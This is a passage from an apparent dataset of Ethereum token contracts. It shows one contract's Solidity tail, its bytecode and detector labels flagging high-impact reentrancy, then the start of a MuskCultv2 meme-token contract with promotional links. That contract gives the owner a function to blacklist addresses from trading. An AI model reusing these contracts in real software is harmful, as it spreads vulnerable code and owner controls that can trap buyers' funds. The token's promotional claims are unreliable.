(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461030a578063a9059cbb14610335578063c3c8cd8014610372578063c9567bf914610389578063dd62ed3e146103a057610109565b80636fc3eaec1461027457806370a082311461028b578063715018a6146102c85780638da5cb5b146102df57610109565b80632ab30838116100d15780632ab30838146101de578063313ce567146101f5578063325b3b18146102205780635932ead11461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103dd565b6040516101309190612435565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061202f565b61041a565b60405161016d919061241a565b60405180910390f35b34801561018257600080fd5b5061018b610438565b6040516101989190612557565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611fdc565b610448565b6040516101d5919061241a565b60405180910390f35b3480156101ea57600080fd5b506101f3610521565b005b34801561020157600080fd5b5061020a6105c7565b60405161021791906125cc565b60405180910390f35b34801561022c57600080fd5b506102356105d0565b6040516102429190612557565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d919061206f565b6105d6565b005b34801561028057600080fd5b50610289610688565b005b34801561029757600080fd5b506102b260048036038101906102ad9190611f42565b6106fa565b6040516102bf9190612557565b60405180910390f35b3480156102d457600080fd5b506102dd61074b565b005b3480156102eb57600080fd5b506102f461089e565b604051610301919061234c565b60405180910390f35b34801561031657600080fd5b5061031f6108c7565b60405161032c9190612435565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061202f565b610904565b604051610369919061241a565b60405180910390f35b34801561037e57600080fd5b50610387610922565b005b34801561039557600080fd5b5061039e61099c565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190611f9c565b610efd565b6040516103d49190612557565b60405180910390f35b60606040518060400160405280600981526020017f536173756b65496e750000000000000000000000000000000000000000000000815250905090565b600061042e610427610f84565b8484610f8c565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610455848484611157565b61051684610461610f84565b61051185604051806060016040528060288152602001612b1b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c7610f84565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144b9092919063ffffffff16565b610f8c565b600190509392505050565b610529610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ad906124d7565b60405180910390fd5b670de0b6b3a7640000601081905550565b60006009905090565b600f5481565b6105de610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610662906124d7565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c9610f84565b73ffffffffffffffffffffffffffffffffffffffff16146106e957600080fd5b60004790506106f7816114af565b50565b6000610744600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151b565b9050919050565b610753610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d7906124d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f534153554b450000000000000000000000000000000000000000000000000000815250905090565b6000610918610911610f84565b8484611157565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610963610f84565b73ffffffffffffffffffffffffffffffffffffffff161461098357600080fd5b600061098e306106fa565b905061099981611589565b50565b6109a4610f84565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a28906124d7565b60405180910390fd5b600e60149054906101000a900460ff1615610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7890612537565b60405180910390fd5b42600f819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610f8c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5d57600080fd5b505afa158015610b71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b959190611f6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf757600080fd5b505afa158015610c0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2f9190611f6f565b6040518363ffffffff1660e01b8152600401610c4c929190612367565b602060405180830381600087803b158015610c6657600080fd5b505af1158015610c7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9e9190611f6f565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730670429d069189e0000600080610d3261089e565b426040518863ffffffff1660e01b8152600401610d5496959493929190612390565b6060604051808303818588803b158015610d6d57600080fd5b505af1158015610d81573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da691906120c9565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066470de4df8200006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ea79291906123f1565b602060405180830381600087803b158015610ec157600080fd5b505af1158015610ed5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef9919061209c565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff390612517565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390612477565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114a9190612557565b60405180910390a3505050565b6000811161119a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611191906124f7565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111f157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461143b576001600a819055506003600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112df5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113355750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561134d5750600e60179054906101000a900460ff165b1561137a57610384600f54611362919061263c565b4210156113795760105481111561137857600080fd5b5b5b6000611385306106fa565b9050600e60159054906101000a900460ff161580156113f25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140a5750600e60169054906101000a900460ff165b156114395761141881611589565b6000479050670429d069189e000081111561143757611436476114af565b5b505b505b611446838383611811565b505050565b6000838311158290611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a9190612435565b60405180910390fd5b50600083856114a2919061271d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611517573d6000803e3d6000fd5b5050565b6000600854821115611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612457565b60405180910390fd5b600061156c611821565b9050611581818461184c90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115c1576115c061288a565b5b6040519080825280602002602001820160405280156115ef5781602001602082028036833780820191505090505b50905030816000815181106116075761160661285b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116a957600080fd5b505afa1580156116bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e19190611f6f565b816001815181106116f5576116f461285b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061175c30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8c565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117c0959493929190612572565b600060405180830381600087803b1580156117da57600080fd5b505af11580156117ee573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61181c838383611896565b505050565b600080600061182e611a61565b91509150611845818361184c90919063ffffffff16565b9250505090565b600061188e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac0565b905092915050565b6000806000806000806118a887611b23565b95509550955095509550955061190686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e781611c33565b6119f18483611cf0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a4e9190612557565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050611a95670de0b6b3a764000060085461184c90919063ffffffff16565b821015611ab357600854670de0b6b3a7640000935093505050611abc565b81819350935050505b9091565b60008083118290611b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afe9190612435565b60405180910390fd5b5060008385611b169190612692565b9050809150509392505050565b6000806000806000806000806000611b408a600a54600b54611d2a565b9250925092506000611b50611821565b90506000806000611b638e878787611dc0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bcd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144b565b905092915050565b6000808284611be4919061263c565b905083811015611c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2090612497565b60405180910390fd5b8091505092915050565b6000611c3d611821565b90506000611c548284611e4990919063ffffffff16565b9050611ca881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0582600854611b8b90919063ffffffff16565b600881905550611d2081600954611bd590919063ffffffff16565b6009819055505050565b600080600080611d566064611d48888a611e4990919063ffffffff16565b61184c90919063ffffffff16565b90506000611d806064611d72888b611e4990919063ffffffff16565b61184c90919063ffffffff16565b90506000611da982611d9b858c611b8b90919063ffffffff16565b611b8b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611dd98589611e4990919063ffffffff16565b90506000611df08689611e4990919063ffffffff16565b90506000611e078789611e4990919063ffffffff16565b90506000611e3082611e228587611b8b90919063ffffffff16565b611b8b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e5c5760009050611ebe565b60008284611e6a91906126c3565b9050828482611e799190612692565b14611eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb0906124b7565b60405180910390fd5b809150505b92915050565b600081359050611ed381612ad5565b92915050565b600081519050611ee881612ad5565b92915050565b600081359050611efd81612aec565b92915050565b600081519050611f1281612aec565b92915050565b600081359050611f2781612b03565b92915050565b600081519050611f3c81612b03565b92915050565b600060208284031215611f5857611f576128b9565b5b6000611f6684828501611ec4565b91505092915050565b600060208284031215611f8557611f846128b9565b5b6000611f9384828501611ed9565b91505092915050565b60008060408385031215611fb357611fb26128b9565b5b6000611fc185828601611ec4565b9250506020611fd285828601611ec4565b9150509250929050565b600080600060608486031215611ff557611ff46128b9565b5b600061200386828701611ec4565b935050602061201486828701611ec4565b925050604061202586828701611f18565b9150509250925092565b60008060408385031215612046576120456128b9565b5b600061205485828601611ec4565b925050602061206585828601611f18565b9150509250929050565b600060208284031215612085576120846128b9565b5b600061209384828501611eee565b91505092915050565b6000602082840312156120b2576120b16128b9565b5b60006120c084828501611f03565b91505092915050565b6000806000606084860312156120e2576120e16128b9565b5b60006120f086828701611f2d565b935050602061210186828701611f2d565b925050604061211286828701611f2d565b9150509250925092565b60006121288383612134565b60208301905092915050565b61213d81612751565b82525050565b61214c81612751565b82525050565b600061215d826125f7565b612167818561261a565b9350612172836125e7565b8060005b838110156121a357815161218a888261211c565b97506121958361260d565b925050600181019050612176565b5085935050505092915050565b6121b981612763565b82525050565b6121c8816127a6565b82525050565b6121d7816127b8565b82525050565b60006121e882612602565b6121f2818561262b565b93506122028185602086016127ca565b61220b816128be565b840191505092915050565b6000612223602a8361262b565b915061222e826128cf565b604082019050919050565b600061224660228361262b565b91506122518261291e565b604082019050919050565b6000612269601b8361262b565b91506122748261296d565b602082019050919050565b600061228c60218361262b565b915061229782612996565b604082019050919050565b60006122af60208361262b565b91506122ba826129e5565b602082019050919050565b60006122d260298361262b565b91506122dd82612a0e565b604082019050919050565b60006122f560248361262b565b915061230082612a5d565b604082019050919050565b600061231860178361262b565b915061232382612aac565b602082019050919050565b6123378161278f565b82525050565b61234681612799565b82525050565b60006020820190506123616000830184612143565b92915050565b600060408201905061237c6000830185612143565b6123896020830184612143565b9392505050565b600060c0820190506123a56000830189612143565b6123b260208301886121ce565b6123bf60408301876121bf565b6123cc60608301866121bf565b6123d96080830185612143565b6123e660a083018461232e565b979650505050505050565b60006040820190506124066000830185612143565b612413602083018461232e565b9392505050565b600060208201905061242f60008301846121b0565b92915050565b6000602082019050818103600083015261244f81846121dd565b905092915050565b6000602082019050818103600083015261247081612216565b9050919050565b6000602082019050818103600083015261249081612239565b9050919050565b600060208201905081810360008301526124b08161225c565b9050919050565b600060208201905081810360008301526124d08161227f565b9050919050565b600060208201905081810360008301526124f0816122a2565b9050919050565b60006020820190508181036000830152612510816122c5565b9050919050565b60006020820190508181036000830152612530816122e8565b9050919050565b600060208201905081810360008301526125508161230b565b9050919050565b600060208201905061256c600083018461232e565b92915050565b600060a082019050612587600083018861232e565b61259460208301876121bf565b81810360408301526125a68186612152565b90506125b56060830185612143565b6125c2608083018461232e565b9695505050505050565b60006020820190506125e1600083018461233d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126478261278f565b91506126528361278f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612687576126866127fd565b5b828201905092915050565b600061269d8261278f565b91506126a88361278f565b9250826126b8576126b761282c565b5b828204905092915050565b60006126ce8261278f565b91506126d98361278f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612712576127116127fd565b5b828202905092915050565b60006127288261278f565b91506127338361278f565b925082821015612746576127456127fd565b5b828203905092915050565b600061275c8261276f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127b18261278f565b9050919050565b60006127c38261278f565b9050919050565b60005b838110156127e85780820151818401526020810190506127cd565b838111156127f7576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612ade81612751565b8114612ae957600080fd5b50565b612af581612763565b8114612b0057600080fd5b50565b612b0c8161278f565b8114612b1757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064b1dd081c77a53be6ee63e2e4ce04982f07fe63685df58fa658500790ee8fa164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,382 |
0x2d3c29a70453318eacf9b350f3257fe8124261a5
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/**
🎭MuskCult will launch it's official version 2,
with slightly bigger taxes we are going to get all
the resources we need to make our journey to big
partnerships as easy as we need🎭
"As long as it takes"
Tax:
4% Buy
5% Sell
MaxTx: 1%
MaxWallet: 2%
V1 ATH 850K MARKETCAP
https://t.me/MuskCultV2
Twitter: https://twitter.com/MuskCult
Website : https://Muskcult.com
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MuskCultv2 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "MuskCultv2";
string private constant _symbol = "MuskCultv2";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x4aAFC831084f7D3cfb381075c1F8c8139611334c);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 4;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
